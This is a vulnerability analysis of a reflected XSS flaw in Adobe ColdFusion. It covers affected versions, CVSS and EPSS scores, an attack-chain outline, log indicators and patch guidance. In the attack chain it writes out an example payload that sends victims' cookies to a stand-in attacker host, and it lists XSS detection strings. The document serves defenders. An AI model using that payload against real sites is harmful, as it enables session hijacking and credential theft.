CVE-2026-76002: 
Adobe ColdFusion vulnerability analysis and mitigation

CVE-2026-76002 is a reflected Cross-Site Scripting (XSS) vulnerability in Adobe ColdFusion that allows unauthenticated attackers to execute arbitrary JavaScript in a victim's browser by convincing them to visit a crafted malicious URL. The vulnerability affects ColdFusion 2025 (update 12 and earlier) and ColdFusion 2023 (update 23 and earlier); versions 13 (ColdFusion 2025) and 24 (ColdFusion 2023) and later are unaffected. Adobe disclosed and patched the vulnerability on September 8, 2026, via security advisory APSB26-119. It carries a CVSS v3.1 base score of 6.1 (Medium), with changed scope reflecting potential cross-origin impact (Adobe Advisory, GitHub Advisory).

The vulnerability is classified as CWE-79 (Improper Neutralization of Input During Web Page Generation — Cross-Site Scripting), arising from insufficient sanitization of user-controlled input that is reflected back in HTTP responses without proper encoding. An attacker crafts a malicious URL containing embedded JavaScript payloads targeting a vulnerable ColdFusion page; when a victim clicks the link, the server reflects the unsanitized input into the browser's rendered page, causing script execution in the victim's browser context. Exploitation requires no authentication and no special privileges, but does require user interaction (victim must visit the attacker-controlled URL). The changed scope indicator means the injected script can affect resources beyond the vulnerable ColdFusion component itself (Adobe Advisory, GitHub Advisory).

Successful exploitation allows an unauthenticated attacker to execute arbitrary JavaScript within the victim's browser session, enabling session hijacking, credential theft, phishing overlays, or unauthorized actions performed on behalf of the victim. The changed scope means the attacker's script may access resources or data from other origins or components beyond the vulnerable ColdFusion page itself. Availability is not directly impacted, but confidentiality and integrity are both partially compromised through potential exposure of session tokens, cookies, or sensitive page content (Adobe Advisory, GitHub Advisory).

As of the disclosure date, there is no public proof-of-concept exploit code and no evidence of active in-the-wild exploitation (Adobe Advisory). The EPSS score is approximately 0.729%, placing it in the 52nd percentile for exploitation probability within 30 days (GitHub Advisory). The vulnerability is not listed in the CISA Known Exploited Vulnerabilities (KEV) catalog, and no threat actor attribution has been reported. The NVD SSVC assessment classifies exploitation as "none" and the attack as non-automatable due to the required user interaction.

1. Reconnaissance: Identify internet-facing Adobe ColdFusion instances running ColdFusion 2025 (update ≤12) or ColdFusion 2023 (update ≤23) using tools such as Shodan or Censys, or by reviewing publicly accessible ColdFusion application pages.
2. Identify vulnerable parameter: Probe ColdFusion application endpoints for URL parameters or form inputs that are reflected unsanitized in the HTTP response (e.g., error messages, search fields, or redirect parameters).
3. Craft malicious URL: Construct a URL targeting the vulnerable ColdFusion page with a reflected XSS payload embedded in the vulnerable parameter, such as https://target.example.com/vulnerable.cfm?param=<script>document.location='https://attacker.example.com/steal?c='+document.cookie</script>.
4. Deliver to victim: Send the crafted URL to a target user via phishing email, social engineering, or by embedding it in another web page, convincing the victim to click the link.
5. Payload execution: When the victim's browser loads the page, the ColdFusion server reflects the unsanitized payload in the response, causing the browser to execute the attacker's JavaScript, which can exfiltrate session cookies, perform actions on behalf of the victim, or redirect to attacker-controlled infrastructure (Adobe Advisory, GitHub Advisory).

• Network: Outbound HTTP requests from victim browsers to unexpected external domains shortly after visiting ColdFusion pages; unusual referrer headers in web server logs pointing to ColdFusion application URLs with encoded script tags or JavaScript in query parameters.
• Logs: ColdFusion or web server access logs showing requests to application endpoints with URL-encoded XSS payloads in query string parameters (e.g., %3Cscript%3E, %3C%2Fscript%3E, javascript:, onerror=, onload=); repeated requests from the same IP with varying payload encodings suggesting active probing.
• Browser/Client-Side: Unexpected JavaScript execution or redirects when visiting ColdFusion-hosted pages; browser developer tools showing script sources from external or unexpected domains loaded within ColdFusion application pages.

Adobe has released patches addressing this vulnerability: ColdFusion 2025 users should update to Update 13 or later, and ColdFusion 2023 users should update to Update 24 or later, as detailed in advisory APSB26-119 (Adobe Advisory). As additional hardening measures, administrators should implement strict input validation and output encoding for all user-controlled data reflected in responses, deploy Content Security Policy (CSP) HTTP headers to restrict unauthorized script execution, and educate users about the risks of clicking unsolicited or suspicious links. Organizations unable to patch immediately should consider placing ColdFusion applications behind a Web Application Firewall (WAF) configured to detect and block reflected XSS patterns.

The CIS (Center for Internet Security) issued an advisory noting multiple vulnerabilities in Adobe products patched in September 2026, including this XSS issue, recommending prompt patching (CIS Advisory). FortiGuard Labs included the vulnerability in their IPS update tracking for the same period. No significant independent researcher commentary, social media discussion, or media coverage beyond standard vulnerability aggregation has been observed for this moderate-severity issue.